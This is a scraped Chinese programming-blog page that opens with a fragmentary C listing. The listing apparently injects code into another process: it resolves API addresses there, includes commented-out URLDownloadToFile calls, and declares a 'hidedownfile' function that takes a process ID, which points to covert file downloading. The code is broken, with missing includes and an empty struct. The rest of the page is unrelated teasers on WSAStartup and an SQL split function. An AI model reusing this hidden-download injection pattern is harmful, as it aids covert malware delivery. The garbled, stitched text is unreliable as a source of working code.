實現WSAStartup函式建立

2021-04-09 01:57:14 字數 894 閱讀 5254

#include

#include

#define maxinjectsize (2048*7)

struct tagdowninfo

t_messagebox pmessagebox =(t_messagebox)pgetprocaddress(huser32dll, pinfo->szmessagebox);

//pmessagebox(null,  pinfo->szurl, pinfo->szfile, 0);

//判斷程式最終正確執行

//hmodule hdll = ploadlibrary( pinfo->szurlmon );

//t_urldownloadtofile purldownloadtofile = (t_urldownloadtofile)pgetprocaddress( hdll, pinfo->szurldowndtofile);

// purldownloadtofile(null, pinfo->szurl, pinfo->szfile, 0, null);

//取得wsastartup的位址

hmodule socklib=ploadlibrary(pinfo->v_ws2_32_lib);

if (!socklib)

t_wsastartup pwsastartup =(t_wsastartup)pgetprocaddress(socklib, pinfo->szwsastartup);

if(!pwsastartup)

pwsastartup(pinfo->v_versionrequeste,&pinfo->v_wsadata);

return 0;

}bool hidedownfile(tagdowninfo* pinfo, dword dwprocessid)

WSAStartup函式和WSACleanup函式

以下是vc socket初始化時用到的兩個函式 一 wsastartup函式 int wsastartup word wversionrequested,lpwsadata lpwsadata 使用socket的程式在使用socket之前必須呼叫wsastartup函式。該函式的第乙個引數指明程式請...

C S構架學習之WSAStartup 函式使用

winsock windows socket 程式設計依賴於系統提供的動態鏈結庫 dll 使用 dll 之前必須把 dll 載入到當前程式,可以在編譯時載入,也可以在程式執行時載入。使用 winsock dll 庫程式設計之前,需要呼叫 wsastartup 函式進行初始化,以指明 winsock ...

Sql 分隔字元創函式

create function splitstring rowdata varchar 2000 spliton varchar 5 returns rtnvalue table data nvarchar 100 as begin while charindex spliton,rowdata 0...